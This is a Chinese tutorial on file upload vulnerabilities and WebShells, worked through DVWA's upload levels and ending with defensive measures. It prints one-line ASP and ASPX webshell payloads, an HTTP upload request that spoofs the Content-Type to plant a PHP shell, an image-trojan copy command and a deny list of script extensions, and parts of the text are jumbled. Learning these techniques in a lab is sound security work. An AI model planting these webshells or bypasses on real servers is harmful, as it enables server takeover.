服务器配置不当,开启了PUT 方法。
Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。在程序开发部署时,没有考虑以下因素,导致限制被绕过:
代码特性
组件漏洞;
Web 容器漏洞;系统特性;
上传恶意代码(文件,程序),并执行恶意代码(文件,程序):
直接上传后门文件并执行,导致网站沦陷;
通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。
通过文件上传漏洞获得的网站后门,叫WebShell。
Windows | LINUX |
---|---|
powershell cmd | bash 、sh、zsh |
WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:
.php
.asp
.aspx
.jsp
WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马等。
Apache HTTPD | php |
---|---|
IIS | asp| aspx| php |
Tomcat | jsp| jspx |
代码量比较大,与小马对比。
一句话木马,需要与中国菜刀配合。特点:短小精悍,功能强大。
三大基本功能:文件管理、虚拟终端、数据库管理。php 脚本格式:
//代码执行函数+传参点
asp 脚本形式:
<%eval request("777")%>
aspx 脚本形式
<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。
tennc/webshell
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
'; }
else {
// Yes!
echo "{$target_path} succesfully uploaded!
"; }
}
?>
文件后缀名
文件类型
文件内容
$deny_ext = array( ".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht", ".html",".htm", ".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml", ".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx", ".cer",".swf",
".htaccess" );
$allow_ext = array( 'jpg','jpeg','png','bmp','gif','svg', 'zip','tar.gz', 'doc','docx','pdf','xls','ppt'
);
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
'; }
else {
// Yes!
echo "{$target_path} succesfully uploaded!
"; }
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
'; }
}
?>
POST /dvwa_2.0.1/vulnerabilities/upload/ HTTP/1.1 Host: 10.4.7.196
Content-Length: 432 Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 Origin: http://10.4.7.196
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3xRrwk8liSH6rVVn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig ned-exchange;v=b3;q=0.9
Referer: http://10.4.7.196/dvwa_2.0.1/vulnerabilities/upload/
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=rkgc97fga9q51hn8vciv5dt5e7; ASPSESSIONIDSASCAARA=DPNHBLIBFBKFLHLNLEHPMJCH; ASPXSpy=5854b7d51176229708197a5334ba1195
Connection: close
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="uploaded"; filename="yjh.php" Content-Type: image/jpeg
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower(
$uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
'; }
else {
// Yes!
echo "{$target_path} succesfully uploaded!
"; }
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
'; }
}
?>
上传文件没有重命名;
文件后缀名白名单检测;
使用getimagesize() 进行文件内容检测,只检测文件头部。
copy imgName/b+yjh/a newImgName
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower(
$uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_file} succesfully uploaded!
"; }
else {
// No
echo 'Your image was not uploaded.
'; }
// Delete any temp files
if( file_exists( $temp_file ) ) unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
'; }
}
// Generate Anti-CSRF token generateSessionToken();
?>
检测Token 值,防止数据包重放;
文件重命名;
文件后缀名白名单检测;
文件类型白名单检测;
文件内容头部检测;
二次渲染,生成新文件;
删除缓存文件。
文件上传漏洞完美利用,受到以下条件限制:
Web 服务器开启文件上传功能,Web 用户可以使用该功能。
Web 用户({www|www-data|apache})对目标目录具有可写权限,甚至具有执行权限。一般情况下,Web 目录都有执行权限。
完美利用意味着文件可以执行,也就是说代码可以被服务器解析。
服务器开启了PUT 方法。
采用白名单策略,严格限制上传文件的后缀名;
上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;
文件内容检测;
进行二次渲染,过滤掉图片马中的恶意代码;
避免文件包含漏洞;
严格处理文件路径,防御00 截断漏洞;
检测Token 值,防止数据包重放。
强口令策略,避免恶意攻击者登录网站后台;尽量避免Web 用户修改上传白名单。
及时更新Web 容器,防止解析漏洞产生。禁用Web 容器PUT 方法。
避开空格、点 . 、 ::$DATA 等windows 系统特性。
严格控制权限,执行权限与写权限分离。
建立单独的文件存储服务器,类似于站库分离。